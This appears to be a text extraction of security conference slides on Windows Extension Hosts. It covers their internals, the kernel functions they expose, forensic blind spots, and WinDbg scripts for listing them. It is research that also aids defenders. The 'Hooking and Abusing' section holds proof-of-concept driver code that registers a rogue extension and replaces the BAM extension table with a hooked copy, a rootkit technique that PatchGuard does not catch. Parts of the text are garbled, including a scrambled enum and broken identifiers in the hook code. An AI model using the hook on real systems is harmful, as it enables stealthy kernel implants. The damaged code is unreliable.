DKOM 3.0


Hiding and Hooking with Windows Extension Hosts

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About Yarden Shafir

- Software Engineer at CrowdStrike
- Circusing most of the time
- Sometimes does Windows internals stuff
- Remotely-operated security researcher
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About Gabrielle Viala

- Gaby @pwissenlit on twitter
- Reverse engineer at Quarkslab
- Playing with the Windows Internals for the lulz
- Member of the BlackHoodie organization board
- Was just lucky to meet and work with awesome researchers



About Alex Ionescu

- VP of EDR Strategy and Founding Architect at CrowdStrike
- Co-author of Windows Internals 5th-7th Editions
- Reverse engineering NT since 2000 was lead kernel developer of ReactOS
- Instructor of worldwide Windows internals classes
- Author of various tools, utilities and articles
- Conference speaker at SyScan, Infiltrate, Offensive Con, Black Hat, Blue Hat, Recon, ...
- For more info, see <u>www.alex-ionescu.com</u> or hit me up on Twitter @aionescu



Talk Outline

- Internals & API
- Interesting Host-Exposed Functionality
- Hooking and Abusing
- Forensic Considerations
- Conclusion

Motivation

- Alex is always looking for new ways to perform "DKOM" (Direct Kernel Object Modification) based hooks and rootkits, especially in the age of EDR, Forensics, Tamper Detection, and Hypervisor Code Integrity. He was working on a whitepaper to release to the world at some point.
- Gabrielle took Bruce Dang's amazing "Windows Rootkits" course at Recon, where this topic was discussed as an
 exercise and became curious about it. She sent an e-mail to Alex who responded back with a 30 page
 whitepaper, and they thought about giving a talk.
- Yarden likes randomly unloading drivers on her machine. Turns out that's a bad idea! She found a number of
 issues, including drivers not unregistering their host extensions. She decided to look into the mechanism and
 published a Medium post about it, which got Alex and Gabrielle's attention.
- And so, here we are!

Internals & APIs

What are Windows Extension Hosts?

- As kernel functionality grows, we want to keep the microkernel-based roots and design
 - Functionality that should not strictly be provided within the kernel binary itself is handed off to a separate module
 - O Modules can then apply the policies/mechanisms by leveraging exposed kernel functionality to access private

members of various kernel data structures and objects

- Looking at the kernel import and export tables reveals thousands of undocumented functions
 - Modules exporting functions for the kernel cannot be unloaded
 - Forces the kernel to expose internal-only features to the entire world -- even though only used by one single driver!
- Extension Hosts, introduced in Windows 7, are a tightly coupled, obscure way of exporting these features


Nt! ExptlostList

What are Windows Extension Hosts?

- Extension Hosts offer a way to achieve a modular architecture for internal, specific, pre-defined drivers
- Private binding mechanism working as a producer/consumer
- On-demand binding mechanism that allows the components to unload if they are unused
- Functionality provided to the different actors can be shared by enabling the exchange of function tables between the host and the extensions
 - Supports versioning of these tables
 - Each Host/Extension is tied to a unique identifier (see next slide)

Components in the equation


- The host plays the role of consumer and can be seen as a strongly bound interface
 - O Identified by a Version ID, a Host ID, and a count of Extension APIs
 - Registered by the kernel with the ExRegisterHost API and stored in the Kernel Host Table (nt!ExpHostList)
 - Can be notified of an extension in the middle of binding and/or unbinding through a set of callbacks
- The extension is the producer part
 - Exposes an extension table which can then be used by the host component to call/use functionality implemented outside of the kernel



A host can be registered in the Kernel Host Table list (nt!ExpHostList) with ExRegisterHost API:

```
NTSTATUS
ExRegisterHost (
    _Outptr_ PEX_HOST *Host,
    _In_ ULONG ParametersVersion, // currently must be set to 0x10000
    _In_ PVOID Parameters // PEX_HOST_PARAMETERS_n (based on above)
);
```

- Once registered, a host cannot be unregistered!
 - O There is no interface protecting an extension from calling into a host that is in the process of being unregistered
 - O Hosts can only ever be provided by the kernel anyway (which can never unload)...



To register a host, a component provides parameters such as its host table and the type of pool it requires:

```
typedef struct _EX_HOST_PARAMETERS
{
    EX_HOST_BINDING HostBinding;
    POOL_TYPE PoolType;
    PCVOID HostTable;
    PEX_HOST_BIND_NOTIFICATION BindNotification;
    PVOID BindNotificationContext;
} EX_HOST_PARAMETERS, *PEX_HOST_PARAMETERS;
```

• The component must also define its strongly bound interface parameters:

```
typedef struct _EX_HOST_BINDING
{
    USHORT ExtensionId;
    USHORT ExtensionVersion;
    USHORT FunctionCount;
} EX_HOST_BINDING;
```

• If a notification callback is provided, it should have the following prototype

```
typedef VOID (NTAPI *PEX_HOST_BIND_NOTIFICATION) (
    _In_ EX_HOST_BIND_NOTIFICATION_REASON Reason,
    _In_opt_ PVOID Context
);
```

The reason for the callback can either be:

```
typedef enum _EX_HOST_BIND_NOTIFICATION_REASON
{
    ExtensionPreBind,
    ExtensionPreUnbind,
    ExtensionPreUnbind
} ExtensionPostUnbind
} EX_HOST_BIND_NOTIFICATION_REASON;
```

These callbacks will be used whenever extensions bind or unbind themselves

 With the previous parameters in hand, ExRegisterHost API allocates a EX_HOST structure that will be added to nt!ExpHostList and returned to the caller

```
typedef struct _EX_HOST
{
    LIST_ENTRY HostListEntry;
    volatile LONG RefCounter;
    EX_HOST_PARAMETERS HostParameters;
    EX_RUNDOWN_REF RundownProtection;
    EX_PUSH_LOCK PushLock;
    PVOID ExtensionTable;
    ULONG Flags;
} EX_HOST, *PEX_HOST;
```

 Hosts are reference counted (to manage unload and unregistration) and use the kernel's rundown protection mechanism to avoid destruction in the middle of a call

Extension Registration

An external driver component can register as an extension for a given host with the ExRegisterExtension API:


```
NTSTATUS
ExRegisterExtension (
    _Outptr_ PEX_EXTENSION *Extension,
    _In_ ULONG ParametersVersion, // currently must be set to 0x10000
    _In_ PVOID Parameters // PEX_EXTENSION_REGISTRATION_n (based on above)
);
                                                           EX_HOST
                                                                 (ExRegister Extension ())
```

Extension Registration

To register an extension, the component provides an EX_EXTENSION_REGISTRATION_n (currently 1) structure

```
typedef struct _EX_EXTENSION_REGISTRATION_n
{
    EX_EXTENSION_BINDING ExtensionBinding;
    PCVOID ExtensionTable;
    PVOID *HostTable;
    PVOID DriverObject;
} EX_EXTENSION_REGISTRATION_n, *PEX_EXTENSION_REGISTRATION_n;
```

- The EX_EXTENSION_BINDING structure must precisely match the EX_HOST_BINDING used by the given host
- The component is also expected to provide an extension table and its driver object
- The host table is an optional pointer to an array of host functions to be provided upon successful registration



Extension Registration

- The driver registering the extension must know precisely how many functions the given host expects beforehand
 - ExRegisterExtension will return STATUS_INVALID_PARAMETER in case of mismatch
 - If the host cannot be found at all (wrong Version or ID), then STATUS_NOT_FOUND is returned
- ExRegisterExtension will fail with STATUS_OBJECT_NAME_COLLISION if
 - O An extension intends to register an host that already has an extension registered
 - The host has disabled extension registration (through a specific flag)
- Upon successful registration, a pointer to the updated EX_HOST structure is returned
 - O EX_EXTENSION is basically just an alias for the EX_HOST structure
- If a notification callback is present, it is called with the ExtensionPreBind and ExtensionPostBind reasons

Extension Use

After registration of an extension, the host is expected to call the ExGetExtensionTable API to get the
extension table

```
PVOID
ExGetExtensionTable (
    _In_ PEX_EXTENSION Extension
);
```

- O This will acquire the extension rundown protection and return a pointer to the table
- The host has to call ExReleaseExtensionTable to release the rundown protection

```
VOID
ExReleaseExtensionTable (
    _In_ PEX_EXTENSION Extension
);
```

Extension Unregistration

 Once the extension is not needed anymore, it should normally be unregistered by the driver that registered it with the ExUnregisterExtension API

- This API will perform the following tasks:
 - O Call the notification callback (if registered) with the **ExtensionPreUnbind** reason
 - Wait for all callers to release their extension tables and set the extension table to NULL
 - Call the notification callback with the ExtensionPostUnbind reason
 - O Dereference the host with the **ExpDereferenceHost** API

(lack of) Extension Unregistration

- Some drivers don't unregister their extension when unloading
- After the driver is unloaded the callbacks registered in the extension point to unmapped memory
 - O Next time the kernel tries to call one of these callbacks it reaches a stale pointer and BSODs
 - O Possible UAF?
- Example: Bam.sys
 - O Registers a callback for process creation
 - O Can be unloaded and doesn't unregister its extension
 - Instant BSOD when any process is created or terminated

Interesting Host-Exposed Functionality

Built-in Windows 10 Hosts and Extensions

- 16 Defined Host IDs on Windows 10 "Vibranium"/20H1 (Build 18865)
 - Each corresponds to a particular feature of the operating system
 - O Some of these Hosts have registered Extensions at all times (PCW, CNG, BAM, DAM, MMCSS, etc...)
 - Others are only registered based on enabled features/capabilities (Intel PT, DTrace, Octagon, Hyper-V, etc...)
- Post-conference white paper will detail all of the function tables in detail and explain each of the hosts, extensions, API parameters, and the usage of these APIs
- For now, let's look at some of the more interesting kernel/host capabilities that are exposed
 - And the extension features

Stealth Process Notifications

- Some of the extensions have hardcoded notification paths in PspCallProcessNotifyRoutines which do not consume the usual slots registered with PsSetCreateProcessNotifyRoutine
 - Desktop Activity Moderator (DAM [7]) and Background Activity Moderator (BAM [5])
 - O This is probably because there are a limited number of slots for the notify routines (64 on Windows 7 and later), and this guarantees not taking up 2 more slots
- Can either register a different extension for these hosts, or patch the existing table
- PatchGuard normally enumerates registered process callbacks and makes sure they are not pointing to nonexecutable image code
 - O But it does not verify these two callback entries

Process Manipulation and Enumeration

- The Octagon Host (PspOctHostInterface) exports PsGetNextProcessEx, Ps(Get/Quit)NextProcessThread
 - O Unlike the undocumented **ZwQuerySystemInformation** API, these don't merely enumerate, but also return a reference to each iterator entry, and remember their place
- Additionally, it also provides access to the Get Thread Context API (PspGetContextThreadInternal)
 - O This API is normally not callable for kernel-mode contexts and/or system threads, because the export (PsGetContextThread) always passes in UserMode as both the previous mode and the context mode -- which means you must allocate user-mode memory to even get the context back!
- The Security Host (PspSecHostInterface) exposes PsIsProcessPrimaryTokenFrozen which can be used to check for EPROCESS->PrimaryTokenFrozen, a helpful flag for detecting exploits that swap the EPROCESS Token
- The MMCSS Host (PspMmcssHostInterface) exposes PspGetFreezeState to check if the DeepFreeze (UWP App Model Suspension) flag is set in KPROCESS

Low Level Hardware Tracing

- There are 3 Host Tables that provide IPT-related functionality
 - KeSupervisorStateExtHostInterface exposes KiStartSavingSupervisorState, KiGetSavedSupervisorState,
 KiQueryIptSupport and KiGetSavedIptState
 - These can be used to manually save/restore IPT state at arbitrary points, especially on systems without XSAVE support
 - PspHwTraceHostInterface exposes PspControlHwTracingThread and PspQueryHwTracingThread which sets the
 XSTATE_MASK_IPT flag in KTHREAD->NpxState
 - This tells the scheduler to always save IPT state when context switching with the XSAVE capability
 - Finally, EtwHwTraceHostInterface exposes the EtwpWriteProcessorTrace function, which writes into the ETW Kernel Logger
 - Uses EVENT_TRACE_GROUP_IPT (IptGuid, {ff1fd2fd-6008-42bb-9e75-00a20051f3be}) with Hook ID 0x20
 - ETW Event Contains entire Processor Trace Buffer

Custom SLAT-backed Memory and Execution

- The Virtual Infrastructure Driver Memory Management (VidMm) Extension creates a 'vmmem' process per VM
 - O Uses a new "Micro Memory Manager" inside the host kernel to efficiently manage GVA->GPA translation
 - Offers better visibility on VM memory usage, cross-VM optimizations, and caching
- These capabilities are offered through the VmpHostInterface
 - With the VmCreate(Delete/Split/Merge)MemoryRange APIs it is possible to define such regions of memory, and then use additional functionality such as VmAccessFault and Global TLB flush notifications to manage EPT violations
 - Vm(Create/Terminate)MemoryProcess allows creation of the minimal process
 - O VmProbeAndLockPages, VmUnlockPages, Vm(Un)SecureBackingMemory provide additional control over the pages
- Additionally, can also be used to call VTL1 Extensibility Services (VmCallSkSvc) and control the XTS (Extended Thread Scheduler) capabilities with VmSetVpHostProcess and VmSetThreadSchedulerAssist

- Reminders
 - An EX_HOST structure is returned by registering APIs
 - The EX_EXTENSION is basically just an alias for the EX_HOST structure
 - All the EX HOST structures are linked together in the nt!ExpHostList
 - -> We can directly access any EX HOST structure by parsing it!
- It is quite easy for an attacker to tamper the structures and tables in few steps
 - Fun and profit incoming <3</p>
 - (You still need to be in ring 0 though...)

- Register an extension for a non-default component (Intel PT)
 - Or unload a driver (non-critical to the system such as IoRate.sys) that hosts an extension and maliciously register it again as its own

```
typedef NTSTATUS(*ExRegisterExtension)(PEX EXTENSION, ULONG, PEX EXTENSION PARAMETERS);
[\ldots]
    RtlInitUnicodeString(&ExRegisterExtensionName, L"ExRegisterExtension");
   functaddr = (ExRegisterExtension)(DWORD PTR)MmGetSystemRoutineAddress(&ExRegisterExtensionName);
   if (functaddr == NULL) return STATUS NOT FOUND;
    extensionParameter.ExtensionBinding.Id = 0xa; // Intel PT extension id
    extensionParameter.ExtensionBinding.Version = 1;
    extensionParameter.ExtensionBinding.Count = 0; // doesn't require an extension table since the
    extensionParameter.ExtensionTable = NULL; // number of function == 0
    extensionParameter.HostTable = NULL;
    extensionParameter.DriverObject = pDrvObj;
    status = functaddr((PEX EXTENSION)&g ExEtension, 0x10000, &extensionParameter);
```

Cast the returned EX_EXTENSION to an EX_HOST

```
PEX_HOST ExHost = (PEX_HOST)g_ExEtension;
```

- Parse the linked list of the EX_HOST to discover the other registered hosts and extensions
 - O Here, we're looking for the bam extension as its functions are called often which is pretty convenient for the poc purpose

Unlock locked down extensions, patch or hook extension tables, modify host tables, etc.

```
// Count the number of functions in the table
ULONG nbCallbacks = 0;
While (((PVOID *)PrevHost->ExtensionTable)[nbCallbacks] != NULL){
                     nbCallbacks++;
// Copy these functions in a new table
g_newCallBackTable = (PVOID)ExAllocatePoolWithTag(NonPagedPool, nbCallbacks*sizeof(PVOID), 'HOOK');
if (g newCallBackTable == 0) return STATUS MEMORY NOT ALLOCATED;
RtlCopyMemory((PVOID)g newCallBackTable, (PVOID)PrevHost->ExtensionTable, nbCallbacks * sizeof(PVOID));
 // Save the legit table (useful to avoid bsod when unloading ;)) and change it by the new one
g oldCallBackTable = PrevHost->ExtensionTable;
PrevHost->ExtensionTable = g newCallBackTable;
// Hook the new table -> Victory!
((PVOID *)PrevHost->ExtensionTable)[0] = (PVOID)ExtensionHook;
```

Clean our mess before unloading

```
typedef NTSTATUS(*ExUnregisterExtension)(PEX_EXTENSION);

[...]

RtlInitUnicodeString(&ExUnregisterExtensionName, L"ExUnregisterExtension");
functaddr = (ExUnregisterExtension)(ULONG_PTR)MmGetSystemRoutineAddress(&ExUnregisterExtensionName);
if (functaddr == NULL) return STATUS_NOT_FOUND;

if (g_oldCallBackTable != NULL) RestaureHookedTable(); // Just replace hooked pointers with legit ones
if (g_ExEtension != NULL) functaddr((PEX_EXTENSION)g_ExEtension);
if (g_newCallBackTable != NULL) ExFreePool(g_newCallBackTable);
```

Forensic Considerations

Forensic Considerations

- The possibility of misusing the extension mechanism provides new challenges
 - O Not all extensions are registered by default and none is even "locked down"
 - A driver could register an extension for a non-default feature and gain access to internal kernel functionality without requiring symbol/opcode scanning
 - If an extension owner unloads and unregisters itself, a malicious kernel component could re-register itself as the extension owner
 - O Some functions are called at interesting time by the kernel
 - During process creation/termination for example
 - An implant could gain periodic notifications of interesting actions this way

Forensic Considerations

- The possibility of misusing the extension mechanism provides new challenges (cont.)
 - O PatchGuard does not protect this mechanism
 - No need to tamper with the functions or host tables in memory images as the structures in memory contain pointers to them
 - Checks to detect "floating code" that has registered notifications/hooks/callbacks do not "target" extension tables
 - O It would have been possible to use PG "Protected Ranges" features (already used for WSL system calls)
- No forensic tools seem to monitor or scan for hooks in this mechanism yet
 - Except for Red Plait's Wincheck that is able to dump the extensions

Windbg scripts

- We developed few scripts to dump the currently registered hosts and extensions on one's system
 - Alex's Host.wds

kd:	kd> \$\$>a< z:\hosts.wds				
ID	Ver	Function Table Count	Host Table	Host Callback	
01	01	<pre>pcw!PcwpCallbackTable (fffff805`babcf030) [+] (05)</pre>	NONE	<pre>nt!ExpPcwHostCallback (fffff803`aacdb2d0)</pre>	
02	01	<pre>ksecdd!sspirpc_ProxyInfo+0x30 (fffff805`ba46e090) [+] (06)</pre>	NONE	NONE	
03	01*	<pre>cng!MSHashFunctionTable+0x1da0 (fffff805`ba887240) [+] (36)</pre>	NONE	NONE	
04	01	<pre>tcpip!EQoSpCallbackTable (fffff805`bc921048) [+] (01)</pre>	NONE	NONE	
05	12	<pre>bam!BampKernelCalloutTable (fffff805`bc475500) [+] (05)</pre>	<pre>nt!PspBamHostInterface (fffff803`aa98e398)</pre>	NONE	
07	01	NONE	NONE	NONE	
09	01	<pre>mmcss!CiKernelCalloutTable (fffff805`bd3a4000) [+] (01)</pre>	<pre>nt!PspMmcssHostInterface (fffff803`aa98e3c0)</pre>	NONE	
10	01	NONE	<pre>nt!PspHwTraceHostInterface (fffff803`aa98e3b8)</pre>	NONE	
13	01	ffffa480`de7ff000 [+] (00)	<pre>nt!PspOctHostInterface (fffff803`aa98e3c8)</pre>	NONE	
08	10	NONE	<pre>nt!VmpHostInterface (fffff803`aa98e3e0)</pre>	NONE	
11	01	NONE	nt!VmpHostInterface+0x58 (fffff803`aa98e438)	NONE	
06	10	<pre>iorate!IoRateGlobals+0x10 (fffff805`bbaf9060) [+] (03)</pre>	<pre>nt!IopIoRateHostTable (fffff803`aa98e360)</pre>	NONE	

Windbg scripts (cont.)

We developed few scripts to dump the currently registered hosts and extensions on one's system

Gwaby's ExtHost.js

kd> !exhosthelp This script can be used to pretty print and list Host/Extension structures. The output can be queried using LINQ. > dx -g @\$cursession.ExhostList Lists all the EX HOST structures present in the list pointed by nt!ExhostList. > dx @\$cursession.ExhostList[x].printExtensionTable() Prints the extension table for the EX HOST structure #x. > dx @\$cursession.ExhostList[x].printHostTable() Prints the host table for a EX HOST structure #x. > !printexttables Prints the extension table for every EX HOST structure in the list pointed by nt!ExhostList. > !printhosttables Prints the host table for every EX HOST structure in the list pointed by nt!ExhostList. > !exhost([addr]) Display the EX HOST structure $[\ldots]$

Conclusion

Key Takeaways

- Although Extension Hosts seem like a new, consistent way to share private dispatch tables between kernel components, remember the famous "Not Invented In This Hallway" Microsoft mentality
 - O If another team can implement the same solution in a 5th different way, porque no los cinco?
 - O The PatchGuard and Microsoft Defender ATP teams used to use a host, but now moved to using a simple Executive Callback Object
 - The DTrace/NT component shared an extension/host mechanism, but moved to an internal dispatch table overridden by a DriverEntry call
 - O Code Integrity also uses a similar set of private callbacks, as do Pico Providers...
- This somewhat implies that arbitrary pointers/callback tables stored in pool pointers are somewhat seen as a risk by some teams, who prefer the stability of hard-coded pointer exchange in .data sections?

Further Research

- Although Extensions/Hosts provide 16 more dispatch tables to look at, even existing kernel callback tables have not been analysed in a long time
 - There are over 20 executive callback objects (such as the PatchGuard one) that nobody's fully analyzed
 - Each of these exposes internal functionality and capabilities to hook/monitor system activities
- Call to action for someone to create a compendium of all dispatch tables and the functions hidden therein
 - wincheck and WinObjEx64 scratch some of the surface, but there's a lot more
- On a somewhat related note, it seems that between Hyper-V VidMm and the DirectX 12 VidMm, there are lots of additional memory managers and thread schedulers in the OS, which provide low-visibility mechanism to hide and execute code/memory

References

- Yarden's Medium Post
 - O https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a
- Bruce's Class
 - O https://gracefulbits.com/training-courses/
- Redplait's wincheck tool
 - O http://redplait.blogspot.com/
- Alex's GitHub (whitepaper)
 - O https://github.com/ionescu007

